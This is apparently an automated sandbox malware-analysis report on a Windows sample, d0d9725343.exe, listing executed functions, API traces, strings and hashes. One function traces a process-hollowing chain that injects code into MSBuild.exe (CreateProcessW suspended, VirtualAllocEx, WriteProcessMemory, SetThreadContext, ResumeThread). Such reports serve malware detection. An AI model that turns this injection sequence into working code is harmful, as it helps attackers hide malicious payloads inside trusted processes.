Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: ca53ca5669bb4ac127116b644c2258c7b808b1741e8e09db67d0a3cb84529edf
Instruction ID: 2d91e3362289605cf34565df22f1d445a73a8c90526c654ea6bc82a2f8394a9e
Opcode Fuzzy Hash: ca53ca5669bb4ac127116b644c2258c7b808b1741e8e09db67d0a3cb84529edf
Instruction Fuzzy Hash: A0E04F2484020CB6CB25FA65D887AE877E8DB10B09F04C171BA10621D29BB5978CDA91

Analysis Process: d0d9725343.exePID: 2528, Parent PID: 5156COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	1.6%
Signature Coverage:	2.6%
Total number of Nodes:	576
Total number of Limit Nodes:	10

Executed Functions

Function 002561A9 Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0025611B,0025610B), ref: 0025633F
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00256352
Wow64GetThreadContext.KERNEL32(00000094,00000000), ref: 00256370
ReadProcessMemory.KERNELBASE(00000098,?,0025615F,00000004,00000000), ref: 00256394
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 002563BF
TerminateProcess.KERNELBASE(00000098,00000000), ref: 002563DE
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 00256417
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 00256462
WriteProcessMemory.KERNELBASE(00000098,?,?,00000004,00000000), ref: 002564A0
Wow64SetThreadContext.KERNEL32(00000094,01610000), ref: 002564DC
ResumeThread.KERNELBASE(00000094), ref: 002564EB

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 0025633E
CreateProcessW, xrefs: 0025625B
GetThreadContext, xrefs: 00256281
Load, xrefs: 002561E5
WriteProcessMemory, xrefs: 002562BA
ress, xrefs: 00256231
VirtualAllocEx, xrefs: 002562A7
TerminateProcess, xrefs: 002563CE
ResumeThread, xrefs: 002562E3
ReadProcessMemory, xrefs: 00256294
GetP, xrefs: 00256229
aryA, xrefs: 002561ED
SetThreadContext, xrefs: 002562CD
VirtualAlloc, xrefs: 0025626E

Memory Dump Source

Source File: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: a825fa68b0c0304b18166c38a0a90e3a073672f07fc27f352b98e56281c358ca
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 32B1077260068AAFDB60CF68CC80BDA77A5FF88714F158164EA0CAB341D770FA55CB94

Function 00221B70 Relevance: 10.8, APIs: 7, Instructions: 267
filewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00221000: _strlen.LIBCMT ref: 00221067

CreateFileA.KERNELBASE ref: 00221BD1
GetFileSize.KERNEL32(00000000,00000000), ref: 00221BE1
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 00221C07
CloseHandle.KERNELBASE(00000000), ref: 00221C16
_strlen.LIBCMT ref: 00221C84
CloseHandle.KERNEL32(00000000), ref: 00221E83
PostQuitMessage.USER32(00000000), ref: 00221EE0

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateMessagePostQuitReadSize
String ID:
API String ID: 3694359222-0
Opcode ID: ecffd8ae03e64a41bdcf22bf9ec72b11b7691081ed17b9eb672bf207882dc162
Instruction ID: 523c54e84acf6899f5ee67360669bb5fb4de767b994e69c06bad99ad1d4436b5
Opcode Fuzzy Hash: ecffd8ae03e64a41bdcf22bf9ec72b11b7691081ed17b9eb672bf207882dc162
Instruction Fuzzy Hash: 60918872924321ABC314DF64EC85A2BBBE5FF99350F15092DF8858B351E730D960CB92

Function 002220D0 Relevance: 13.6, APIs: 9, Instructions: 109
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 002220E8
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 002220F9
GetCurrentThreadId.KERNEL32 ref: 0022214A

Part of subcall function 0022D0B6: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000), ref: 0022D0C2
Part of subcall function 0022D0B6: GetExitCodeThread.KERNEL32(?,?), ref: 0022D0DB
Part of subcall function 0022D0B6: CloseHandle.KERNEL32(?), ref: 0022D0ED

Part of subcall function 00233E7D: CreateThread.KERNELBASE(?,?,Function_00013F95,00000000,?,?), ref: 00233EC6
Part of subcall function 00233E7D: GetLastError.KERNEL32 ref: 00233ED2
Part of subcall function 00233E7D: __dosmaperr.LIBCMT ref: 00233ED9

GetCurrentThreadId.KERNEL32 ref: 002221AF
std::_Throw_Cpp_error.LIBCPMT ref: 002221E9
std::_Throw_Cpp_error.LIBCPMT ref: 002221F0
std::_Throw_Cpp_error.LIBCPMT ref: 002221F7
std::_Throw_Cpp_error.LIBCPMT ref: 00222204
std::_Throw_Cpp_error.LIBCPMT ref: 00222213

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$Thread$CurrentHandleModule$CloseCodeCreateErrorExitFileLastNameObjectSingleWait__dosmaperr
String ID:
API String ID: 686914455-0
Opcode ID: 88f0d27d7e33b3a5a0214a91e4d552489945643e263ce74022912feb74a86080
Instruction ID: 1013450a05749b4f4227301631fc39a85d268647b1047850f91b89b6b547fff7
Opcode Fuzzy Hash: 88f0d27d7e33b3a5a0214a91e4d552489945643e263ce74022912feb74a86080
Instruction Fuzzy Hash: C231EAB1A60321BBE7207FE0BC07F9A76A49F45B40F044418FA4C6B1C5EAB19574CB97

Function 0023B8B2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,439473B7,?,0023B9C1,?,?,00000000), ref: 0023B973

Strings

ext-ms-, xrefs: 0023B91D
api-ms-, xrefs: 0023B909

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: d4cccbc1855d307a3b7bf5be4c47e850d7a1a139ccac137ecc744e01a2c1b45b
Instruction ID: 3cbd70f9f200289031854e3fd5a0426be057d20a68fd37b401bec59be8cfd047
Opcode Fuzzy Hash: d4cccbc1855d307a3b7bf5be4c47e850d7a1a139ccac137ecc744e01a2c1b45b
Instruction Fuzzy Hash: 3C21D5B2A61316BBC7239F20EC45B5A7768DF517B1F250110EB15A72D0D770EE10CAD0

Function 002214C0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 002214DA

Strings

ios_base::badbit set, xrefs: 00221763, 00221781, 00221AB3
ios_base::eofbit set, xrefs: 00221753
ios_base::failbit set, xrefs: 00221758

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: bef29eb9e1002477c7a4ac3214dce25128568efe424c9e451561c9add047277b
Instruction ID: 82988ad68c79db18b242f50c53359a42bfeebd168a9b49aece4534a4da223995
Opcode Fuzzy Hash: bef29eb9e1002477c7a4ac3214dce25128568efe424c9e451561c9add047277b
Instruction Fuzzy Hash: 8791AD702102109FDB14CF69D494F2AB7E6FF89314F1886A8E9468F396D735EC66CB41

Function 00221AB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00221000: _strlen.LIBCMT ref: 00221067

FreeConsole.KERNELBASE(?,?,?,00254808,ios_base::badbit set), ref: 00221AE1
VirtualProtect.KERNELBASE(0025601C,00000549,00000040,?), ref: 00221B30
ExitProcess.KERNEL32 ref: 00221B66

Strings

ios_base::badbit set, xrefs: 00221763, 00221781, 00221AB3

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ConsoleExitFreeProcessProtectVirtual_strlen
String ID: ios_base::badbit set
API String ID: 4233975149-3882152299
Opcode ID: 738abd748b3f7d122996e8d97c67de2e8527cbe825e355c32675207cc15bd028
Instruction ID: 531b4d0c00fc90dc0c0e0fe688feca721b7065b8429bcea3ffc46949b8da6554
Opcode Fuzzy Hash: 738abd748b3f7d122996e8d97c67de2e8527cbe825e355c32675207cc15bd028
Instruction Fuzzy Hash: 28014C35A50214BBDB007BA5BC07FAF7764EB54756F404020FD08B71C2F571AA348AD9

Function 00233E7D Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_00013F95,00000000,?,?), ref: 00233EC6
GetLastError.KERNEL32 ref: 00233ED2
__dosmaperr.LIBCMT ref: 00233ED9

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: afb18ff725926459d2f57c768b0fc303bfecec3d7f0c53036b4c4cc68f6e3f0c
Instruction ID: 6927d71fd7dbac19b7816a1c9968a1c93c7751533deb1dea0d56a96254d094b3
Opcode Fuzzy Hash: afb18ff725926459d2f57c768b0fc303bfecec3d7f0c53036b4c4cc68f6e3f0c
Instruction Fuzzy Hash: 8C015EB692020ABFDF15DFA5DC0AAAE7BB8EF40755F104058F80196160EB71CF60DB90

Function 00242520 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002428CA: GetConsoleOutputCP.KERNEL32(439473B7,00000000,00000000,?), ref: 0024292D

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00237097,?), ref: 002426A5
GetLastError.KERNEL32(?,?,00237097,?,002372DB,00000000,?,00000000,002372DB,?,?,?,00254DE0,0000002C,002371C7,?), ref: 002426AF

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 546d2d81b48cf3caeae82451e43db35f01afd79462e57446d173b746b79592b5
Instruction ID: b907cf1ea3e661fede66b36964e226b9d8bf9adedd2ad596d99e6ad71b2d7e3f
Opcode Fuzzy Hash: 546d2d81b48cf3caeae82451e43db35f01afd79462e57446d173b746b79592b5
Instruction Fuzzy Hash: DB61C171D2011AEFDF19CFA9D944EEEBBB9AF09304F950145F800A7251D371DA29CBA0

Function 00242CF9 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,0024268B,00000000,002372DB,?,00000000,?,00000000), ref: 00242D95
GetLastError.KERNEL32(?,0024268B,00000000,002372DB,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00237097), ref: 00242DBB

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 5fda31e291c464baa1219a9e46367bb28bcea34b3dba7ea94d543af91d9cbe95
Instruction ID: d9de83528f2cbed38e54f9d0810f85afeda13de5bbf7ed394eef444a13bce94c
Opcode Fuzzy Hash: 5fda31e291c464baa1219a9e46367bb28bcea34b3dba7ea94d543af91d9cbe95
Instruction Fuzzy Hash: 0C217C30E10219DBCB19CF2ADC80AE9B7B9AB49302B5444A9E906D7211D6309E968FA4

Function 0023C3D2 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,0023C2C1,00255160), ref: 0023C41E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,0023C2C1,00255160), ref: 0023C430

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: e395d8cdfb03e6797f21007f6fe4cc3a71387834d5bc82b18ff3a868e0499356
Instruction ID: 34b946a2df601d2e82e620496d37cc70558a19a3930edfa1c0cbff22cd7e0968
Opcode Fuzzy Hash: e395d8cdfb03e6797f21007f6fe4cc3a71387834d5bc82b18ff3a868e0499356
Instruction Fuzzy Hash: E71106F15247424AC7308E3E9CAC232BAA4A756370F380729D2F6F26F2C670C966D744

Function 00233F95 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00254C30,0000000C), ref: 00233FA8
ExitThread.KERNEL32 ref: 00233FAF

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: cf708c5f36496e100713618835aec572a4a13e600ccabbb9d8b14382404873b7
Instruction ID: d7d16dbf4e3534efc8ca0b3d213442262766e9eb5259a2c029753db7b775d068
Opcode Fuzzy Hash: cf708c5f36496e100713618835aec572a4a13e600ccabbb9d8b14382404873b7
Instruction Fuzzy Hash: ACF0C2B1920209AFDF01EFB0E80EA6E7B75FF40342F20414AF40197691CB759A60CFA5

Function 0022AF05 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd4130b9feccc0caa488ef7944327e0cffa98aa781fe9f813801b29cb45d008
Instruction ID: abe02e483ac62b0f8a9eeb5b983860daa8f1d2fa2329ae287d1bc281f2c8cb44
Opcode Fuzzy Hash: 5dd4130b9feccc0caa488ef7944327e0cffa98aa781fe9f813801b29cb45d008
Instruction Fuzzy Hash: AA31EA7252012BBFCF15CFA8E9808EDB7B9BF08320B140225E511E3A80E731F954CB91

Function 0023B97D Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4039ea3ae4f91e196627dae81d38d64807cb1629c8761c3e4e0fa3980d4acdb0
Instruction ID: ef2db355d605cc58bb49f4708889183e7416a6f380639a1b949c426953587ab7
Opcode Fuzzy Hash: 4039ea3ae4f91e196627dae81d38d64807cb1629c8761c3e4e0fa3980d4acdb0
Instruction Fuzzy Hash: E901F5736303199F9B038E69FC49A2A33AAFBC5731B644124FB0087154EB309C208B94

Function 0022AEF7 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

